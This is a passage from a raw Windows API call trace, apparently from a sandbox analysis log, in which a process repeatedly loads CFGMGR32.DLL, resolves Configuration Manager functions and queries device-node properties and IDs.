(hEvent=0x248) returned 1 [0231.937] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.937] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.940] malloc (_Size=0x18) returned 0x20abc281b00 [0231.941] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.941] malloc (_Size=0x48) returned 0x20abc2ab7c0 [0231.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x460468e3, dwHighDateTime=0x1d9eb0c)) [0231.942] SetEvent (hEvent=0x248) returned 1 [0231.947] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.947] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.951] malloc (_Size=0x18) returned 0x20abc281c00 [0231.951] CM_Get_Device_IDA (in: dnDevInst=0x1e, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SPACEPORT\\0000") returned 0x0 [0231.951] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x460468e3, dwHighDateTime=0x1d9eb0c)) [0231.951] SetEvent (hEvent=0x248) returned 1 [0231.955] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.955] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.986] malloc (_Size=0x18) returned 0x20abc281d20 [0231.986] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0231.986] malloc (_Size=0x20) returned 0x20abc2aa060 [0231.986] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa060, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa060, pulLength=0x2dc22fd3f8) returned 0x0 [0231.987] free (_Block=0x20abc2aa060) [0231.987] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x46092d9c, dwHighDateTime=0x1d9eb0c)) [0231.988] SetEvent (hEvent=0x248) returned 1 [0231.991] malloc (_Size=0x18) returned 0x20abc281ec0 [0231.991] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0231.991] free (_Block=0x20abc281ec0) [0231.991] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0231.991] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0231.991] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0231.991] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0231.991] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba798e0 [0231.991] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0231.991] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0231.991] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0231.991] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0231.992] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.992] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba798e0) returned 1 [0231.993] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0231.994] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.997] malloc (_Size=0x18) returned 0x20abc281f60 [0231.997] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0231.997] malloc (_Size=0x5e) returned 0x20abc2801b0 [0231.998] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8) returned 0x0 [0231.999] free (_Block=0x20abc2801b0) [0231.999] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x460b9154, dwHighDateTime=0x1d9eb0c)) [0231.999] SetEvent (hEvent=0x248) returned 1 [0232.002] malloc (_Size=0x18) returned 0x20abc282060 [0232.002] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0232.002] free (_Block=0x20abc282060) [0232.002] malloc (_Size=0x18) returned 0x20abc281c80 [0232.003] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0232.003] free (_Block=0x20abc281c80) [0232.003] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d770 [0232.003] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0232.003] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0232.003] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0232.003] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79a30 [0232.003] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0232.003] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0232.003] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0232.003] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0232.070] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93670, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.070] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93678, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0232.071] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79a30) returned 1 [0232.072] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d770) returned 1 [0232.073] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.073] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.074] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.075] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.076] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.076] malloc (_Size=0x18) returned 0x20abc281ea0 [0232.077] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.088] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4619de15, dwHighDateTime=0x1d9eb0c)) [0232.089] SetEvent (hEvent=0x248) returned 1 [0232.093] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.093] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0232.097] malloc (_Size=0x18) returned 0x20abc2820e0 [0232.097] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0232.097] malloc (_Size=0x48) returned 0x20abc27cb20 [0232.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4619de15, dwHighDateTime=0x1d9eb0c)) [0232.098] SetEvent (hEvent=0x248) returned 1 [0232.102] malloc (_Size=0xd8) returned 0x20abc284e70 [0232.102] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0232.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0232.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0232.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0232.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0232.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0232.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0232.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0232.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0232.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0232.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0232.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0232.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0232.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0232.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0232.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0232.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0232.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0232.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0232.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0232.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0232.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 